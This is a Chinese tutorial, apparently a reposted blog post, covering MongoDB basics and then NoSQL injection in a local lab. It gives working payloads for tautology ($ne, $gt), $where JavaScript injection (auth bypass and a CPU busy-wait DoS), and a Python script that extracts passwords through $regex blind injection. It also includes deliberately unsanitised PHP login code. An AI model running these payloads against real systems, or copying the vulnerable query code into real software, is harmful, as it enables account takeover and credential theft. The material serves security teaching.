NoSQL注入基础及思路

君衍.

  • 一、NoSQL
    • 1、为什么使用NoSQL
    • 2、RDBMS与NoSQL区别
    • 3、NoSQL产品
    • 4、NoSQL 数据库分类
  • 二、MongoDB
    • 1、认识MongoDB
    • 2、MongoDB特性
    • 3、MongoDB工作方式
    • 4、MongoDB缺陷
    • 5、MongoDB基本概念
    • 6、数据库Database
    • 7、文档Document
    • 8、集合Collection
  • 三、MongoDB基本操作
    • 1、数据库操作
    • 2、集合操作
    • 3、文档操作
    • 4、Where语句比较
  • 四、MongoDB安装注意点
  • 五、NoSQL注入分类
  • 六、重言式注入
    • 1、环境部署
    • 2、注入原理
  • 七、JavaScript注入
  • 八、布尔盲注

一、NoSQL

NoSQL,指的是非关系型的数据库。NoSQL有时也称作Not only SQL的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。
NoSQL用于超大规模数据的存储。 (例如谷歌或Facebook每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。

1、为什么使用NoSQL

今天我们可以通过第三方平台(如:Google,Facebook等)可以很容易的访问和抓取数据。用户的个人信息,社交网络,地理位置,用户生成的数据和用户操作日志已经成倍的增加。我们如果要对这些用户数据进行挖掘,那SQL数据库已经不适合这些应用了, NoSQL数据库的发展也却能很好的处理这些大的数据。

随着互联网 web2.0 网站的兴起,传统的关系数据库在应付 web2.0 网站,特别是超大规模和高并发的 SNS 类型的 web2.0 纯动态网站已经显得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。NoSQL 数据库的产生就是为了解决大规模数据集合多重数据种类带来的挑战,尤其是大数据应用难题。

2、RDBMS与NoSQL区别

RDBMS

  • 高度组织化结构化数据
  • 结构化查询语言(SQL)
  • 数据和关系都存储在单独的表中。
  • 数据操纵语言,数据定义语言
  • 严格的一致性
  • 基础事务

NoSQL

  • 代表着不仅仅是SQL
  • 没有声明性查询语言
  • 没有预定义的模式
  • 键值对存储,列存储,文档存储,图形数据库
  • 最终一致性,而非ACID属性
  • 非结构化和不可预知的数据
  • 高性能,高可用性和可伸缩性

3、NoSQL产品

常见的NoSQL产品:redis、memcache、mongdb等
NoSQL产品的显著特点:

  • 1、NoSQL产品一般不使用严格的表关系;
  • 2、NoSQL产品的数据查询一般不用在SQL上;

4、NoSQL 数据库分类

类型部分代表特点
列存储Hbase Cassandra Hypertable顾名思义,是按列存储数据的。最大的特点是方便存储结构化和半结构化数据,方便做数据压缩,对针对某一列或者某几列的查询有非常大的IO优势。
文档存储MongoDB CouchDB文档存储一般用类似json的格式存储,存储的内容是文档型的。这样也就有有机会对某些字段建立索引,实现关系数据库的某些功能。
key-value存储Tokyo Cabinet / Tyrant Berkeley DB MemcacheDB Redis可以通过key快速查询到其value。一般来说,存储不管value的格式,照单全收。(Redis包含了其他功能)
图存储Neo4J FlockDB图形关系的最佳存储。使用传统关系数据库来解决的话性能低下,而且设计使用不方便。
对象存储db4o Versant通过类似面向对象语言的语法操作数据库,通过对象的方式存取数据。
xml数据库Berkeley DB XML BaseX高效的存储XML数据,并支持XML的内部查询语法,比如XQuery,Xpath。

二、MongoDB

1、认识MongoDB

  • MongoDB 是由C++语言编写的,是一个基于分布式文件存储的开源数据库系统。
  • 在高负载的情况下,添加更多的节点,可以保证服务器性能。
  • MongoDB 旨在为WEB应用提供可扩展的高性能数据存储解决方案。
  • MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。
  • MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组

2、MongoDB特性

MongoDB是一个可扩展、高性能的下一代数据库,它的特点是高性能、易部署、易使用、存储数据方便,主要特性有:

  • 面向文档存储,json格式的文档易读、高效;
  • 模式自由,支持动态查询、完全索引,无模式;
  • 高效的数据存储,效率提高;
  • 支持复制和故障恢复;
  • 以支持云级别的伸缩性,支持水平数据库集群,可动态添加额外服务器。

3、MongoDB工作方式

  • 传统的关系型数据库一般有数据库 (database) 、表 (table) 、记录 (record) 三级层次构成。
  • MongoDB同样是由数据库 (database)、集合 (collection) 、文档对象 (documen) 三个层次组成。
  • 文档类似于json的键值对。["name":"tom","age":23]
  • 集合一组文档的集合。

4、MongoDB缺陷

  • 32位系统上,不支持大于2.5G的数据
  • 单个文档大小限制为16M
  • 锁粒度太粗,MongoDB使用一把全局读写锁
  • 不支持join操作和事务机制
  • 对内存要求比较大,至少要保证热数据(索引,数据及系统其他开销) 都能装进内存
  • 用户权限方面较弱
  • MapReduce在单个实例上无法运行,可用Auto-sharding实现,是由JS引擎限制造成
  • MapReduce的结果无法写入到一个被sharding的collection中,待后续版本解决
  • 对于数组型的数据操作不够丰富

5、MongoDB基本概念

SQL 概念MongoDB 概念说明
databasedatabase数据库
tablecollection数据库表/集合
rowdocument数据记录行/文档
columnfield数据字段/域
indexindex索引
table joins表连接,MongoDB 不支持
primary keyprimary key主键,MongoDB 自动将 _id 字段设置为主键

下表列出了关系型数据库 RDBMS 与 MongoDB 之间对应的术语:

RDBMSMongoDB
数据库数据库
表格集合
文档
字段
表联合嵌入文档
主键主键(MongoDB 提供了 key 为 _id)

6、数据库Database

一个 MongoDB 中可以建立多个数据库。MongoDB 的单个实例可以容纳多个独立的数据库,每一个都有自己的集合和权限,不同的数据库也放置在不同的文件中。
在这里插入图片描述

Please enter a MongoDB connection string (Default: mongodb://localhost/):
Current Mongosh Log ID: 6602c9cf23b133031cd14a0d
Connecting to:          mongodb://127.0.0.1:27017/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+2.2.1
Using MongoDB:          6.0.14
Using Mongosh:          2.2.1
For mongosh info see: https://docs.mongodb.com/mongodb-shell/
------The server generated these startup warnings when booting2024-03-26T20:35:42.542+08:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
------
test> show dbs
admin   40.00 KiB
config  72.00 KiB
local   72.00 KiB
test    72.00 KiB
test> db
test
test>

使用show dbs命令可以显示所有数据库列表,db命令可以显示当前数据库对象或集合。

7、文档Document

文档是一组键值(key-value)对,类似于 RDBMS 关系型数据库中的一行。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。

8、集合Collection

集合就是 MongoDB 文档组,类似于 RDBMS 关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。
可以使用 show collectionsshow tables 命令查看已有集合。
在这里插入图片描述

test> show collections
users
test> show tables;
users
test>

三、MongoDB基本操作

1、数据库操作

帮助:

help

在这里插入图片描述

db.help()

在这里插入图片描述

db.yourColl.help()

在这里插入图片描述

db.yourColl.find().help()

在这里插入图片描述

rs.help()

在这里插入图片描述
创建数据库:

use 数据库名称

如果数据库不存在,那么该命令自动创建数据库,存在则切换到指定的数据库。
查询所有数据库:

show dbs
test> show dbs
admin    40.00 KiB
config  108.00 KiB
local    72.00 KiB
test     72.00 KiB
test>
db.status() //查看当前库状态
db.help() //帮助
db //当前库

删除数据库:

db.dropDatabase()
1> db.dropDatabase()
{ ok: 1, dropped: '1' }

这里我们需要注意命令严格区分大小写。

2、集合操作

1、创建一个聚集集合(table)

db.createCollection('emails')
test> db.createCollection('emails')
{ ok: 1 }

2、得到指定名称的聚集集合(table)

db.getCollection("emails")

3、得到当前db的所有聚集集合

db.getCollectionNames()
test> db.getCollectionNames()
[ 'users', 'emails' ]

4、显示当前db所有聚集索引的状态

db.printCollectionStats()

在这里插入图片描述

3、文档操作

MongoDB 使用 insert() 或 save() 方法向集合中插入文档,语法如下:

db.COLLECTION_NAME.insert(document)

1、插入单条文档

db.emails.insert({username:'admin',emails:'111'})
test> db.emails.insert({username:'admin',emails:'111'})
DeprecationWarning: Collection.insert() is deprecated. Use insertOne, insertMany, or bulkWrite.
{acknowledged: true,insertedIds: { '0': ObjectId('6602d36c4333389b71d14a0e') }
}
test>

2、查看文档

db.emails.find()
test> db.emails.find()
[{_id: ObjectId('6602d36c4333389b71d14a0e'),username: 'admin',emails: '111'}
]
test> db.users.find()
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'},{_id: ObjectId('66029e36572847e991d14a0f'),username: 'zhangsan',password: '87654321'},{_id: ObjectId('66029e45572847e991d14a10'),username: 'lisi',password: 'qwertyui'},{_id: ObjectId('66029e50572847e991d14a11'),username: 'wangwu',password: 'asdfgh'}
]
test>

在这里插入图片描述
3、插入多条数据

db.users.insertMany( [{username:'admin1',password:'admin1'},
... {username:'admin2',password:'admin2'}]
... )
test> db.users.insertMany( [{username:'admin1',password:'admin1'},
... {username:'admin2',password:'admin2'}]
... )
{acknowledged: true,insertedIds: {'0': ObjectId('6602d4ac4333389b71d14a0f'),'1': ObjectId('6602d4ac4333389b71d14a10')}
}
test>

4、限制条件查询

db.users.find({username:'admin'})
test> db.users.find({username:'admin'})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'}
]
test>

4、Where语句比较

操作格式范例RDBMS 中的类似语句
等于{<key>:<value>}db.love.find({"name":"whoami"}).pretty()where name = 'whoami'
小于{<key>:{$lt:<value>}}db.love.find({"age":{$lt:19}}).pretty()where age < 19
小于或等于{<key>:{$lte:<value>}}db.love.find({"age":{$lte:19}}).pretty()where likes <= 19
大于{<key>:{$gt:<value>}}db.love.find({"age":{$gt:19}}).pretty()where likes > 19
大于或等于{<key>:{$gte:<value>}}db.love.find({"age":{$gte:19}}).pretty()where likes >= 19
不等于{<key>:{$ne:<value>}}db.love.find({"age":{$ne:19}}).pretty()where likes != 19

四、MongoDB安装注意点

(教程网上很多,而且安装不难)

  • 1、需要注意安装过程中不要去勾选MongoDB Compass,否则会安装的很慢

  • 2、MongDB 6 以前,这个目录下会有很多可执行程序,比如最常用的 mongo.exe,它用来连接到 MongoDB 服务,是一个 shell 环境的客户端工具。但是现在需要单独进行安装:
    安装链接
  • 3、环境变量配置,这个也是最应该注意的。
  • 4、注意小皮需要打开mongodb得扩展,不然会报错:

在这里插入图片描述
会发现里面有一个mongodb的扩展,勾上1即可。

五、NoSQL注入分类

有两种 NoSQL 注入分类的方式:
第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。
第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,这种分类方式很像传统 SQL 注入的分类方式。

  • 重言式注入
    又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。
  • 联合查询注入
    联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。
  • JavaScript 注入
    MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。
  • 盲注
    当页面没有回显时,那么我们可以通过 $regex 正则表达式来达到和传统 SQL 注入中 substr() 函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。

六、重言式注入

1、环境部署

首先我们进行环境部署,这里使用编辑器PHPstorm,当然,VScode也是可以的,只是兼容不是很好,同时,使用小皮的apache做中间件从而搭建Web服务器来供我们学习。
在这里插入图片描述
MongoDB环境创建:

> use test
switched to db test
> db.createCollection('users')
{ "ok" : 1 }
> db.users.insert({username: 'admin', password: '12345678'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'zhangsan', password: '87654321'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'lisi', password: 'qwertyui'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'wangwu', password: 'asdfgh'})
WriteResult({ "nInserted" : 1 })
>db.users.insert({username: 'admin1', password: 'admin1'})
WriteResult({ "nInserted" : 1 })
>db.users.insert({username: 'admin2', password: 'admin2'})
WriteResult({ "nInserted" : 1 })

phpstorm代码:
(需注意,这串代码需要在小皮的www目录下,之后我们访问即可。)

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array('username' => $username,'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {foreach ($result as $user) {$user = ((array)$user);echo '====Login Success====<br>';echo 'username:' . $user['username'] . '<br>';echo 'password:' . $user['password'] . '<br>';}
}
else{echo 'Login Failed';
}
?>

下面对代码进行解读,首先这串代码是用于与 MongoDB 数据库进行交互以验证用户的登录信息。

  1. 连接 MongoDB 数据库:
php$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");

这行代码创建了一个 MongoDB\Driver\Manager 实例,用于与 MongoDB 数据库建立连接。它指定了 MongoDB 服务器的地址和端口号(127.0.0.1:27017)。

  1. 接收用户输入:
php$username = $_POST['username'];
$password = $_POST['password'];

这里从 POST 请求中获取了用户名和密码。

  1. 构建查询:
php$query = new MongoDB\Driver\Query(array('username' => $username,'password' => $password
));

创建了一个 MongoDB\Driver\Query 实例,用于构建查询条件,以便在数据库中查找匹配指定用户名和密码的用户记录。

  1. 执行查询:
php$result = $manager->executeQuery('test.users', $query)->toArray();

使用之前创建的 Manager 实例执行查询,查询集合为 test.users,将查询结果转换为数组。

  1. 处理查询结果:
php$count = count($result);
if ($count > 0) {foreach ($result as $user) {$user = ((array)$user);echo '====Login Success====<br>';echo 'username:' . $user['username'] . '<br>';echo 'password:' . $user['password'] . '<br>';}
}
else {echo 'Login Failed';
}

如果查询结果中存在匹配的记录($count > 0),则通过 foreach 循环遍历结果集中的每个用户,并将其用户名和密码输出到页面上。如果查询结果为空,则输出 “Login Failed”。

2、注入原理

在这里插入图片描述
我们直接进行访问即可看到这里显示登录失败,因为此时我们并没有去传入值,这里我们使用POST方式进行提交,完成admin的登录:

username=admin&password=12345678

在这里插入图片描述
我们可以看到这里显示登录成功,而其中的过程如下,传入参数之后,进程序中的数据如下:

array('username' => 'admin','password' => '12345678'
)

之后进入MongoDB执行查询操作,构建的查询命令如下:

test> db.users.find({username:'admin',password:'12345678'})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'}
]
test>

同时之前我们从代码中可发现,源码并没有对用户的输入内容进行任何的过滤以及校验,所以我们可以使用$ne关键字来构造一个永真的条件来完成NoSQL注入:

username[$ne]=1&password[$ne]=1

在这里插入图片描述
我们可以看到提交如上语句之后,成功的查出了所有的用户信息,同时也说明这个语句是一个永真查询的条件。
我们可以接下来进行仔细分析,提交之后的数据也就变为了一个数组:

array('username' => array('$ne' => 1),'password' => array('$ne' => 1)
)

同时,构建MongoDB的查询命令也就变为了:

test> db.users.find({username:{$ne:1},password:{$ne:1}})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'},{_id: ObjectId('66029e36572847e991d14a0f'),username: 'zhangsan',password: '87654321'},{_id: ObjectId('66029e45572847e991d14a10'),username: 'lisi',password: 'qwertyui'},{
test>username: 'wangwu',password: 'asdfgh'},{_id: ObjectId('6602d4ac4333389b71d14a0f'),username: 'admin1',password: 'admin1'},{_id: ObjectId('6602d4ac4333389b71d14a10'),username: 'admin2',password: 'admin2'}
]
test>

在这里插入图片描述
而该语句的意思如下:

  • username[$ne]=1:这部分指定了一个查询条件,要求返回的用户名字段不等于 1 的记录。$ne 是 MongoDB 中的一个查询操作符,表示不等于某个值。
  • &:这个符号用来分隔不同的查询条件。
  • password[$ne]=1:这部分指定了另一个查询条件,要求返回的密码字段不等于 1 的记录。

由于 users 集合中 username 和 password 都不等于 1,所以将所有的文档数据查出,这很可能是真实的,并且可能允许攻击者绕过身份验证。
针对 PHP 的松散数组特性,以及 MongoDB 查询语句的变化,攻击者可以利用这些特性构造恶意的查询条件,绕过正常的验证和过滤,从而执行未经授权的操作。例如:

  • 如果发送 value=1,PHP 会将其视为一个名为 value 的变量,其值为 1。
  • 如果发送 value[$ne]=1,PHP 会将其解释为一个名为 value 的数组,其键为 $ne,值为 1。
  • 当这样的数据传递到 MongoDB 后,原本一个简单的 {"value":1} 查询会变成一个 {"value":{$ne:1}} 的条件查询。

类似地,攻击者还可以利用其他 MongoDB 查询操作符构造不同的恶意查询条件,比如如下payload:

username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
以上便是重言式注入。

七、JavaScript注入

MongoDB Server 是支持 JavaScript 的,可以使用 JavaScript 进行一些复杂事务和查询,也允许在查询的时候执行 JavaScript 代码。但是如果传递不干净的用户输入到这些查询中,则可能会注入任意的 JavaScript 代码,导致非法的数据获取或篡改。
这里我们首先得认识$where操作符,在MongoDB中,该操作符可以用来执行JS代码,将JS表达式的字符串或JS函数作为查询语句的一部分。

db.users.find({$where:"function(){return(this.username=='admin')}"})

执行即可看到:

test> db.users.find({$where:"function(){return(this.username=='admin')}"})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'}
]
test>

这里由于我们使用了where关键字,后面的JS就会被执行,同时返回admin,将其作为username来查询出数据。
所以,在一些易受到攻击的PHP应用程序构建MongoDB查询时,就可能会直接插入没有经过过滤以及处理的用户输入,就如上将admin作为参数进行查询的形式:

db.users.find({ $where: "function(){return(this.username == $userData)}" })

同时,攻击者也会注入一些恶意字符,比如延时注入类似的sleep,查询语句如下:

db.users.find({ $where: "function(){return(this.username == 'admin'; sleep(3000))}" })

如果服务器延迟了3秒钟,那么说明注入成功。
当然,我们也可以编写PHP来进行观察测试:

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() { var username = '".$username."';var password = '".$password."';if(username == 'admin' && password == '123456'){return true;}else{return false;}
}";
$query = new MongoDB\Driver\Query(array('$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {foreach ($result as $user) {$user=(array)$user;echo '====Login Success====<br>';echo 'username: '.$user['username']."<br>";echo 'password: '.$user['password']."<br>";}
}
else{echo 'Login Failed';
}
?>

该代码用于与 MongoDB 数据库进行交互以验证用户的登录信息,但它使用了 MongoDB 的 $where 条件来执行 JavaScript 函数进行验证。

  1. 连接 MongoDB 数据库:
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");

这行代码创建了一个 MongoDB\Driver\Manager 实例,用于与 MongoDB 数据库建立连接。它指定了 MongoDB 服务器的地址和端口号(127.0.0.1:27017)。

  1. 接收用户输入:
$username = $_POST['username'];
$password = $_POST['password'];

这里从 POST 请求中获取了用户名和密码。

  1. 构建 JavaScript 函数:
$function = "
function() { var username = '".$username."';var password = '".$password."';if(username == 'admin' && password == '12345678'){return true;}else{return false;}
}";

这段代码构建了一个 JavaScript 函数,用于在 MongoDB 中执行用户名和密码的验证。该函数接收两个参数:usernamepassword,然后检查它们是否与硬编码的用户名和密码(‘admin’ 和 ‘12345678’)匹配。如果匹配,则返回 true,否则返回 false

  1. 构建 MongoDB 查询:
$query = new MongoDB\Driver\Query(array('$where' => $function
));

这段代码构建了一个 MongoDB 查询,使用 $where 条件来执行之前构建的 JavaScript 函数进行验证。

  1. 执行查询并处理结果:
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {foreach ($result as $user) {$user = (array)$user;echo '====Login Success====<br>';echo 'username: ' . $user['username'] . "<br>";echo 'password: ' . $user['password'] . "<br>";}
} else {echo 'Login Failed';
}

这段代码执行了之前构建的查询,如果查询结果中存在匹配的记录,则输出登录成功,并显示所有用户的用户名和密码。如果查询结果为空,则输出登录失败消息。
在这里插入图片描述
传入admin以及密码之后即可看到所有的账户名密码信息。接着我们继续分析,由于MongoDB也存在版本更新,在MongoDB2.4之前,通过 $where 操作符使用 map-reducegroup 命令可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。
比如:发送以下数据后,如果有回显的话讲获取当前数据库下所有的集合名;

username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1

当然在MongoDB2.4之后,db属性无法访问,但我们依旧可以制造万能密码,如下:

username=1&password=1';return true//
username=1&password=1';return true;var a='1

让其最终返回为true,然后输出所有数据:在这里插入图片描述
在这里插入图片描述
这个原因便是因为发送payload之后进入PHP后的数据为:

array('$where' => "function() { var username = '1';var password = '1';return true;var a='1';if(username == 'admin' && password == '123456'){return true;}else{return false;}}
")

等于说直接返回true,然后将后面内容屏蔽掉,最终达到输出所有数据的目的,当然,我们也可以在数据库中进行测试:
在这里插入图片描述

test> db.users.find({$where:"function(){var username='1';var password='1';return true;var a='1';if(username=='admin'&&password=='12345678'){return true;}else{return false;}}"})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'},{_id: ObjectId('66029e36572847e991d14a0f'),username: 'zhangsan',password: '87654321'},{_id: ObjectId('66029e45572847e991d14a10'),username: 'lisi',password: 'qwertyui'},{_id: ObjectId('66029e50572847e991d14a11'),username: 'wangwu',password: 'asdfgh'},{_id: ObjectId('6602d4ac4333389b71d14a0f'),username: 'admin1',password: 'admin1'},{_id: ObjectId('6602d4ac4333389b71d14a10'),username: 'admin2',password: 'admin2'}
]
test>

所以,我们可以看到,password中的return true可以让JS代码提前结束并返回true,从而达到永真的条件完成数据的查询。
同时,我们也可以构建一个类似DOS攻击的Payload,可以让服务器CPU飙升100%持续5s。

username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1
  • 1.username=1&amp;password=1';:这部分是一个标准的 URL 查询字符串,其中包含了 username 和 password 参数,并将它们的值分别设置为 1。但是,注意到在 password 参数后添加了一个单引号 ',这是为了终止原本的字符串,并在后续添加恶意的 JavaScript 代码。
  • 2.(function(){ ... })();:这是一个立即执行函数(Immediately Invoked Function Expression,IIFE)的语法,用于封装 JavaScript 代码并立即执行它。在这里,使用了一个匿名的自执行函数。
  • 3.var date = new Date(); do{curDate = new Date();}while(curDate-date&lt;5000);:这部分代码创建了两个 Date 对象,并在一个循环中持续比较它们之间的时间差,直到时间差达到 5000 毫秒(5 秒)为止。实际上,这段代码是一个繁忙等待(Busy-Waiting)的实现,意图是在一段时间内阻塞浏览器或服务器的执行。
  • 4.return Math.max();:在循环结束后,该函数调用了 Math.max() 函数,但没有传入任何参数。在 JavaScript 中,如果 Math.max() 不传入任何参数,会返回 -Infinity,即负无穷大。这段代码的目的可能是混淆和误导阅读代码的人。
  • 5.var a='1:最后,将字符串 '1 赋值给变量 a。

主要目的是尝试通过恶意注入来执行一个繁忙等待的操作,从而阻塞浏览器或服务器的执行。这种攻击可能会导致服务拒绝(DoS)或延迟服务(DDoS)等问题。

八、布尔盲注

(在低版本中其实还存在联合查询注入以及command注入,可以之后了解,这里暂且不说。)
布尔盲注主要利用页面回显来进行判断,同时,这里需要使用到$regex正则表达式来辅助完成。而这里它其实和SQL注入中的substr()函数作用相同。
比如我们使用如下代码来配置环境方便我们测试:

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];$query = new MongoDB\Driver\Query(array('username' => $username,'password' => $password
));$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {foreach ($result as $user) {$user = ((array)$user);echo '====Login Success====<br>';// echo 'username:' . $user['username'] . '<br>';// echo 'password:' . $user['password'] . '<br>';}
}
else{echo 'Login Failed';
}
?>

这里我们需要明白布尔盲注的原理,首先它用到了正则来进行判断密码的长度:

username=admin&password[$regex]=.{6}    // 登录成功
username=admin&password[$regex]=.{7}    // 登录成功
username=admin&password[$regex]=.{8}    // 登录成功
username=admin&password[$regex]=.{9}    // 登录失败
......

在这里插入图片描述
在这里插入图片描述
所以在在 password[$regex]=.{8} 时可以成功登录,但在 password[$regex]=.{9} 时登录失败,说明该 admin 用户的密码长度为 8。
同时,它提交的数据如下:

array('username' => 'admin','password' => array('$regex' => '.{8}')
)

进入MongoDB构建查询语句之后如下:

test> db.users.find({'username':'admin','password':{$regex:'.{8}'}})
[{_id: ObjectId('66029ca4572847e991d14a0e'),username: 'admin',password: '12345678'}
]
test> db.users.find({'username':'admin','password':{$regex:'.{9}'}})test>

在这里插入图片描述
前面知道了password长度之后,下面我们便要逐个提取password字符:

username=admin&password[$regex]=1.{7}
username=admin&password[$regex]=2.{7}
···
或者使用如下:
username=admin&password[$regex]=^1
username=admin&password[$regex]=^2
···

以上便是匹配第一个字符:
在这里插入图片描述
在这里插入图片描述
使用如上方法即可匹配到第一个字符,然后我们接着构建语句进行匹配,判断第二位,第三位···

username=admin&password[$regex]=1.{7}
username=admin&password[$regex]=12.{6}
username=admin&password[$regex]=123.{5}
username=admin&password[$regex]=1234.{4}
username=admin&password[$regex]=12345.{3}
username=admin&password[$regex]=123456.{2}
username=admin&password[$regex]=1234567.*
username=admin&password[$regex]=12345678
或者如下
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456
username=admin&password[$regex]=^1234567
username=admin&password[$regex]=^12345678

即可完成密码逐个字符的提取。
当然,我们这里依旧可以写一个盲注脚本来方便我们注入:

import requests
import stringpassword = ''
url = 'http://127.0.0.1/sql/booleinject.php'while True:for c in string.printable:if c not in ['*', '+', ',', '?']:get_payload = '?username=admin&password[$regex]= ^%s' % (password + c)post_payload = {"username": "admin","password[$regex]": '^' + password + c}json_payload = """{"username":"admin","password":{"$regex":"^%s"}}""" % (password + c)r = requests.post(url=url, data=post_payload)if 'Login Success' in r.text:print("[+] %s" % (password + c))password += c

在这里插入图片描述
使用以上脚本即可完成注入。

import requests  # 导入 requests 模块,用于发送 HTTP 请求
import string  # 导入 string 模块,用于生成所有可打印字符的集合password = ''  # 初始化一个空字符串,用于存储注入的密码
url = 'http://127.0.0.1/sql/booleinject.php'  # 设置目标 URL,即接受用户输入并进行 SQL 查询的 PHP 脚本的地址while True:  # 进入一个无限循环,直到密码被找到for c in string.printable:  # 遍历所有可打印字符,包括数字、字母、标点符号等if c not in ['*', '+', ',', '?']:  # 检查当前字符是否为通配符,因为在 SQL 注入中可能需要避免使用通配符# 构建不同的 payloadget_payload = '?username=admin&password[$regex]= ^%s' % (password + c)  # 用于构建 GET 请求的查询字符串,通过将密码的部分注入到参数中来构造 SQL 注入攻击post_payload = {  # 用于构建 POST 请求的参数,同样是将密码的部分注入到参数中来构造 SQL 注入攻击"username": "admin","password[$regex]": '^' + password + c}json_payload = """{"username":"admin","password":{"$regex":"^%s"}}""" % (password + c)  # 以 JSON 格式构建的 payload,用于构建 JSON 格式的 POST 请求参数,同样是为了进行 SQL 注入攻击# 发送请求并检查响应r = requests.post(url=url, data=post_payload)  # 使用 requests.post() 方法发送 HTTP POST 请求,并传入 URL 和构建好的参数if 'Login Success' in r.text:  # 检查响应文本中是否包含 "Login Success" 字符串,如果存在,则说明注入成功,密码的当前字符被确认print("[+] %s" % (password + c))  # 打印当前确认的字符password += c  # 将当前字符添加到密码中break  # 停止当前循环,继续下一个字符的尝试# 当密码被找到后,循环会立即终止,代码将停止执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/784578.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

蓝桥杯十四届JavaB组省赛ABCD

A阶乘求和 从1&#xff01;一直加到202320232023&#xff01;&#xff0c;如果一个个算阶乘的后九位再相加&#xff0c;算法可以实现&#xff0c;但是运算量很大&#xff0c;需要一段时间。用计算器算了一下100&#xff01;阶乘发现后几位都是0&#xff0c;因此加到20232023202…

安装redis任意版本详解(包含yum安装和编译安装)

根据不同需求需要安装的redis版本不同&#xff0c;在此有编译安装和yum安装详细操作。&#xff08;3.x 5.x 6.x 版本安装都有写到&#xff0c;可以根据需要进行部署参考&#xff09; Yum安装redis yum install -y epel-release yum install -y redis 下载的是3.2.12版本 v…

AI如何影响装饰器模式与组合模式的选择与应用

​&#x1f308; 个人主页&#xff1a;danci_ &#x1f525; 系列专栏&#xff1a;《设计模式》《MYSQL应用》 &#x1f4aa;&#x1f3fb; 制定明确可量化的目标&#xff0c;坚持默默的做事。 &#x1f680; 转载自热榜文章&#xff1a;设计模式深度解析&#xff1a;AI如何影响…

【Java初阶(七)】接口

❣博主主页: 33的博客❣ ▶文章专栏分类: Java从入门到精通◀ &#x1f69a;我的代码仓库: 33的代码仓库&#x1f69a; 目录 1.前言2.接口2.1语法规则2.2接口使用2.3接口特性2.4实现多个接口2.5接口使用实例2.6Clonable接口和深拷贝 3.Object类3.1对象比较equals方法3.2hashcod…

vue系列——v-on

<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>v-on指令</title> </head> <body>…

算法系列--递归,回溯,剪枝的综合应用(2)

&#x1f495;"对相爱的人来说&#xff0c;对方的心意&#xff0c;才是最好的房子。"&#x1f495; 作者&#xff1a;Lvzi 文章主要内容&#xff1a;算法系列–递归,回溯,剪枝的综合应用(2) 大家好,今天为大家带来的是算法系列--递归,回溯,剪枝的综合应用(2) 一.括号…

【MySQL】DQL-排序查询-语法&注意事项&可cv例题语句

